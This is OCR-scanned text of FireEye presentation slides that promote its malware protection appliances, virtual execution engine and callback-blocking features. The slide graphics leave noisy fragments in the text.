- Fast-path blocking Web 2.0site

= Real-time
g Dynamic, real-time analysis of 2 sharing of
inbound, zero-day attacks ! malware
« Pulls out suspicious flows, email % Global Feedback Loop | data
attachments, and/or files/binaries <

* Analyzes within virtual execution
environments

* Confirms attack underway and profiles
malware for callback and other data

FireEye Appliance \

e INBOUND & OUTBOUND MALWARE-VM FILTER
Zero-day callback filter stops ST AT BLOTINE MALWARE-CALLBACK FILTER
data exfiltration 4‘
Local Feedback Loop Seconds
 Local feedback loop feeds malware $
content into fast path blocking

» Stops data exfiltration due to zero-day I

(and known) attacks .
Ll >.
@FlreEye"‘
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Next Generation Threat Protection Portfolio

* Protects across the most Complete Protection Against
prolific threat vectors, Advanced Targeted Attacks
Web and emalil

* Protects against the
lateral movement of
malware within the
enterprise

* Most comprehensive
portfolio to stop the
Infiltration mechanisms
of advanced attacks and
Its persistence

tectio,
ware Pro n Cy
e Uy

\ Management S
N3 Vs
(4 @/))

)
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Web Malware Protection System

* Inline, real-time, signature-less malware protection at near-zero false positives
* Analyzes all web objects, e.g., web pages, flash, PDF, Office docs and executables
« Blocks malicious callbacks terminating data exfiltration across protocols

« Dynamically generates zero-day malware and malicious URL security content and
shares through Malware Protection Cloud network

« Integration with Email and File MPS and MAS for real-time callback channel blocking

P
FEATURES

* Inline blocking both
inbound and outbound

» Advanced content

- analysis (PDF,
<\’>r=ireEye7WT JavaSCI‘ipt, UR LS)

* Models up to 1 Gbps at
microseconds latency

)
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Multi-Protocol, Real-Time VX Engine

P — T
PHASE 1 PHASE'2
Mt_JItl—ProtocoI Virtual Execution Environments
Object Capture
PHASE 1: WEB MPS '
» Aggressive Capture —) DYNAMIC
+ Web Object Filter REAL-TIME ANALYSIS

) » Exploit detection
PHASE 1: E-MAIL MPS

—

—
+ Email Attachments —) G * Malware binary analysis
* URLAnalysis - < + Cross-matrix of OS/apps

é » Originating URL

» Subsequent URLS

Map to Target

OS and » OS modification report

Applications .
» C&C protocol descriptors

)
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Thank You
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www.FireEye.com
alex@fireeye.com
@alex_lanstein on twitter

)
<© FireEye




